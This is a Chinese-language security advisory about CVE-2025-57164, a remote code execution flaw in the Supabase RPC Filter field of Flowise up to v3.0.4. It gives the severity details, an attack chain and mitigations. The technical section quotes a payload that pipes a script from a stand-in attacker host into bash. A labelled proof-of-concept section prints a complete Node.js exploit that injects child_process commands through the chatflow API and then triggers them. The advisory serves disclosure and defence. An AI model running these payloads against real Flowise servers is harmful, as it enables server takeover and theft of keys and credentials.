IPBUF安全漏洞报告
English
CVE-2025-57164 CVSS 6.5 中危

CVE-2025-57164:Flowise Supabase RPC Filter远程代码执行漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-57164
漏洞类型
远程代码执行(RCE)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FlowiseAI Flowise

相关标签

远程代码执行RCEFlowiseFlowiseAISupabase未授权访问代码注入eval注入Node.jsAI安全

漏洞概述

CVE-2025-57164是FlowiseAI Flowise开源项目中存在的一个远程代码执行(RCE)漏洞。该漏洞存在于Flowise v3.0.4及之前版本中,具体位于Supabase向量存储节点的"Supabase RPC Filter"字段处理逻辑中。由于该字段未对用户输入进行充分的过滤和转义处理,攻击者可以通过构造恶意的过滤表达式,在服务器端触发未受信任的代码执行,从而完全控制目标服务器。

Flowise是一款基于Node.js的开源可视化AI工作流构建工具,允许用户通过拖拽方式创建和部署基于大语言模型(LLM)的应用程序。其Supabase集成组件用于与Supabase向量数据库进行交互,支持相似度搜索等功能。该漏洞的CVSS评分为6.5,属于中危级别,攻击向量为网络(AV:N),无需认证(PR:N)和用户交互(UI:N),对机密性和完整性具有低影响,但可用性不受影响。

该漏洞的利用条件相对简单,攻击者只需向存在漏洞的Flowise实例发送包含恶意代码的请求,即可触发远程代码执行。由于Flowise通常部署在企业内网或云环境中用于AI应用开发,一旦被利用,攻击者可以获取服务器权限、窃取敏感数据(如API密钥、数据库凭证),甚至将服务器作为跳板进行横向移动,进一步威胁整个内网安全。

技术细节

该漏洞的根本原因在于Flowise的Supabase向量存储节点中,对用户输入的"Supabase RPC Filter"字段使用了不安全的代码执行方式(如eval()或Function构造函数)。具体漏洞代码位于`packages/components/nodes/vectorstores/Supabase/Supabase.ts`的第237行。

在正常情况下,Supabase RPC Filter字段用于接收用户自定义的过滤条件,以便在向量相似度搜索时对结果进行进一步筛选。然而,由于开发者未对该字段的输入进行严格的验证和沙箱化处理,攻击者可以注入任意JavaScript代码。当Flowise处理该节点并执行过滤逻辑时,恶意代码将在服务器进程中以Node.js运行时权限执行。

利用方式如下:攻击者首先需要访问目标Flowise实例(通常通过Web界面或API),然后创建一个包含Supabase向量存储节点的工作流,或者直接通过API调用修改现有工作流中的Supabase RPC Filter字段。攻击者将恶意JavaScript代码(如`require('child_process').execSync('curl http://attacker.com/shell.sh | bash')`)注入到该字段中。当工作流被触发执行时,恶意代码将在服务器上执行,攻击者即可获得远程代码执行能力。

由于该漏洞无需认证即可利用(PR:N),且无需用户交互(UI:N),攻击者可以通过自动化扫描工具大规模发现和利用存在漏洞的Flowise实例。建议所有使用Flowise的用户尽快升级到修复版本,并对暴露在公网的Flowise实例进行访问控制限制。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、Censys等搜索引擎或自动化扫描工具发现暴露在公网的Flowise实例(默认端口3000),确认目标版本是否低于v3.0.4。
STEP 2
步骤2:构造恶意Payload
攻击者构造包含恶意JavaScript代码的Supabase RPC Filter表达式,利用eval()或类似机制执行系统命令,如反弹Shell、下载木马或窃取敏感数据。
STEP 3
步骤3:注入恶意代码
攻击者通过Flowise的API接口(/api/v1/chatflows)创建或更新包含恶意Supabase RPC Filter的工作流,将恶意代码注入到目标系统中。
STEP 4
步骤4:触发代码执行
当工作流被触发执行时,恶意代码在服务器端以Node.js进程权限执行,攻击者获得远程代码执行能力。
STEP 5
步骤5:权限提升与持久化
攻击者在获得初始访问权限后,可能尝试权限提升、安装后门、窃取API密钥和数据库凭证,并建立持久化访问通道。
STEP 6
步骤6:横向移动
利用被攻陷的Flowise服务器作为跳板,攻击者可以扫描内网其他服务,进行横向移动,进一步扩大攻击范围。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-57164 PoC - Flowise Supabase RPC Filter RCE // Vulnerability: Unsanitized evaluation of user input in "Supabase RPC Filter" field // Affected: Flowise through v3.0.4 // Vulnerable file: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237 const axios = require('axios'); // Target Flowise instance URL const TARGET_URL = 'http://target-flowise-instance:3000'; // Malicious payload to be injected into "Supabase RPC Filter" field // The payload executes arbitrary commands on the server via child_process const maliciousFilter = ` (function(){ const { execSync } = require('child_process'); const cmd = process.env.POC_CMD || 'id > /tmp/pwned.txt'; const output = execSync(cmd).toString(); return output; })() `; async function exploit() { try { // Step 1: Create or update a chatflow with malicious Supabase RPC Filter const chatflowPayload = { name: 'poc-chatflow', flowData: JSON.stringify({ nodes: [ { id: 'supabase_node_1', type: 'Supabase', data: { id: 'supabase_node_1', label: 'Supabase', name: 'supabase', inputs: { supabaseRpcFilter: maliciousFilter // Inject malicious code here } } } ], edges: [] }) }; // Step 2: Send the malicious chatflow to the target const response = await axios.post( `${TARGET_URL}/api/v1/chatflows`, chatflowPayload, { headers: { 'Content-Type': 'application/json' } } ); console.log('[+] Chatflow created:', response.data.id); // Step 3: Trigger the chatflow to execute the malicious filter const predictionResponse = await axios.post( `${TARGET_URL}/api/v1/chatflows/${response.data.id}/prediction`, { question: 'trigger' } ); console.log('[+] Prediction response:', predictionResponse.data); console.log('[+] RCE triggered successfully!'); } catch (error) { console.error('[-] Exploit failed:', error.message); } } exploit();

影响范围

FlowiseAI Flowise <= v3.0.4

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制Flowise实例的网络访问,仅允许可信IP地址通过VPN或内网访问管理界面;2)启用Flowise的身份认证功能,确保所有API调用都需要有效的认证凭证;3)审查并清理所有已创建的Supabase相关工作流,检查RPC Filter字段是否包含可疑代码;4)部署网络入侵检测系统(NIDS)监控对Flowise API的异常访问;5)考虑使用反向代理(如Nginx)添加额外的访问控制和安全过滤层;6)监控服务器进程和文件系统变更,及时发现潜在的恶意活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表